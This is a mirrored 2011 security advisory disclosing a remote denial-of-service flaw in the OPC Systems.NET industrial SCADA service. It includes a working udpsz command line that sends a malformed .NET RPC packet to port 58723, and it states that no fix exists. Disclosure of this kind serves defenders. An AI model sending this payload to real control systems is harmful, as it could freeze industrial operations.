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OPC Systems.NET 4.00.0048 Denial Of Service

OPC Systems.NET 4.00.0048 Denial Of Service
Posted Oct 11, 2011
Authored by Luigi Auriemma | Site aluigi.org

OPC Systems.NET versions 4.00.0048 and below suffer from a denial of service vulnerability.

tags | exploit, denial of service
SHA-256 | 45324c6a520c4d80012a80fcd91e555d641006009de1f3be4b69876b1f99e308

OPC Systems.NET 4.00.0048 Denial Of Service

Change Mirror Download
#######################################################################

Luigi Auriemma

Application: OPC Systems.NET
http://www.opcsystems.com/opc_systems_net.htm
Versions: <= 4.00.0048
Platforms: Windows
Bug: Denial of Service
Exploitation: remote
Date: 10 Oct 2011
Author: Luigi Auriemma
e-mail: aluigi@autistici.org
web: aluigi.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


From vendor's website:
"As a Service Oriented Architecture the OPC Systems Service can connect
to data from OPC Servers, OPC Clients, Visual Studio Applications,
Microsoft Excel, and databases ... breakthrough .NET products for
SCADA, HMI, and plant floor to business solutions to shorten your
development to deployment time."


#######################################################################

======
2) Bug
======


OPCSystemsService.exe can be freezed with CPU at 100% through a
malformed .NET RPC packet.
No additional research performed.


#######################################################################

===========
3) The Code
===========


http://aluigi.org/testz/udpsz.zip

udpsz -l 2000 -c ".NET\1\0\0\0\0\0\xff\xff\xff\xff\4\0\1\1\x25\0\0\0tcp://127.0.0.1/OPC Systems Interface\6\0\1\1" -T SERVER 58723 0x80


#######################################################################

======
4) Fix
======


No fix.


#######################################################################


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